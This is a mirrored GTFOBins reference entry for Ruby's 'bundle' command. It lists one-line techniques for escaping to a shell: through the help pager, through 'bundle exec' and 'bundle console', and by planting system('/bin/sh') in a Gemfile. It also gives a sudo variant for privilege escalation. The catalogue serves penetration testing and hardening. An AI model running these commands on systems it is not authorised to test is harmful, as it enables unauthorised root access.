1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/bundle.md
2022-09-08 21:07:06 +02:00

923 B

functions
shell sudo
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. bundle help !/bin/sh
code
export BUNDLE_GEMFILE=x bundle exec /bin/sh
code
TF=$(mktemp -d) touch $TF/Gemfile cd $TF bundle exec /bin/sh
description code
This spawns an interactive shell via [`irb`](/gtfobins/irb/). TF=$(mktemp -d) touch $TF/Gemfile cd $TF bundle console system('/bin/sh -c /bin/sh')
code
TF=$(mktemp -d) echo 'system("/bin/sh")' > $TF/Gemfile cd $TF bundle install
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. sudo bundle help !/bin/sh